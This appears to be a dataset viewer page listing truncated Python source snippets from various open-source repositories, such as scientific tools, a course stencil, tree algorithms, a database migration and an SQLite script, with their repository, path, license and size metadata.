# J. Dahlin, F. Lindsten, J. Kronander and T. B. Schön,
# Accelerating pmMH by correlating auxiliary variables.
# Pre-pr... | compops/pmmh-correlated2015 | scripts-draft1/example2-correlation-versus-sigmau.py | Python | gpl-3.0 | 4,940 |
# version code 24ea27739109+
coursera = 1
# Please fill out this stencil and submit using the provided submission script.
# Copyright 2013 Philip N. Klein
def getitem(v,k):
"""
Return the value of entry k in v.
Be sure getitem(v,k) returns 0 if k is not represented in v.f.
>>> v = Vec({'a','b','c', '... | josiah14/linear-algebra | programming-the-matrix/1-week/vec/vec.py | Python | mit | 6,607 |
from engine import Engine
e = Engine()
e.add_player()
e.update_velocity('red', (1, 1))
| vhp-jjh/online-tag | test_engine.py | Python | mit | 87 |
from binary_tree import Node
class ConstructTreeFromInorderPreOrder:
def __init__(self):
self.index = 0
def _createTree(self, inorder, preorder, start, end):
if start > end:
return None
i = 0
for i in range(start, end + 1):
if preorder[self.index] == in... | mission-peace/interview | python/tree/construct_tree_from_inorder_preorder.py | Python | apache-2.0 | 704 |
import sys
import string
f = sys.stdin
g = sys.stdout
echo = 0
while 1:
l = f.readline()
if not l: break
ll=string.strip(l)
if ll=='BEGIN-LOG':
echo = 1
elif ll=='END-LOG':
echo = 0
elif echo:
l=string.replace(l,"-0.000"," 0.000") # squish annoying negative zeros
g.write(l)
| gratefulfrog/lib | python/pymol/pymol_path/test/trim.py | Python | gpl-2.0 | 319 |
# -*- coding: utf-8 -*-
# Copyright (C) Duncan Macleod (2014-2020)
#
# This file is part of GWpy.
#
# GWpy is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option)... | gwpy/gwpy | gwpy/table/io/hacr.py | Python | gpl-3.0 | 5,205 |
# ******************************************************************************
# Copyright 2017-2018 Intel Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apa... | NervanaSystems/neon | neon/data/text.py | Python | apache-2.0 | 22,858 |
# -*- coding: utf-8 -*-
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding model 'TrackerHash'
db.create_table(u'issues_trackerhash', (
... | tekton/DocuCanvas | issues/migrations/0036_auto__add_trackerhash.py | Python | gpl-3.0 | 25,990 |
#!/usr/bin/env python
# coding: utf-8
# Copyright 2013 The Font Bakery Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LIC... | davelab6/fontbakery | tools/fontbakery-fix-opentype-names.py | Python | apache-2.0 | 1,293 |
# Copyright 2012-2013 OpenStack, LLC.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ... | hughsaunders/python-openstackclient | openstackclient/identity/v2_0/role.py | Python | apache-2.0 | 7,727 |
class MinStack(object):
def __init__(self):
"""
initialize your data structure here.
"""
self.stack = []
def push(self, x):
"""
:type x: int
:rtype: void
"""
cur_min = self.getMin()
min = x if cur_min is None or x < cur_min else c... | scream7/leetcode | algorithms/python/155.py | Python | apache-2.0 | 1,066 |
import sqlite3
# the filename of this SQLite database
db_filename = "variants.db"
# initialize database connection
conn = sqlite3.connect(db_filename)
c = conn.cursor()
table_def = """\
CREATE TABLE variants(
id integer primary key,
chrom test,
start integer,
end integer,
strand text,
rsid text);
"""
c... | jaehyuk/bds-files | chapter-13-out-of-memory/create_table.py | Python | mit | 368 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.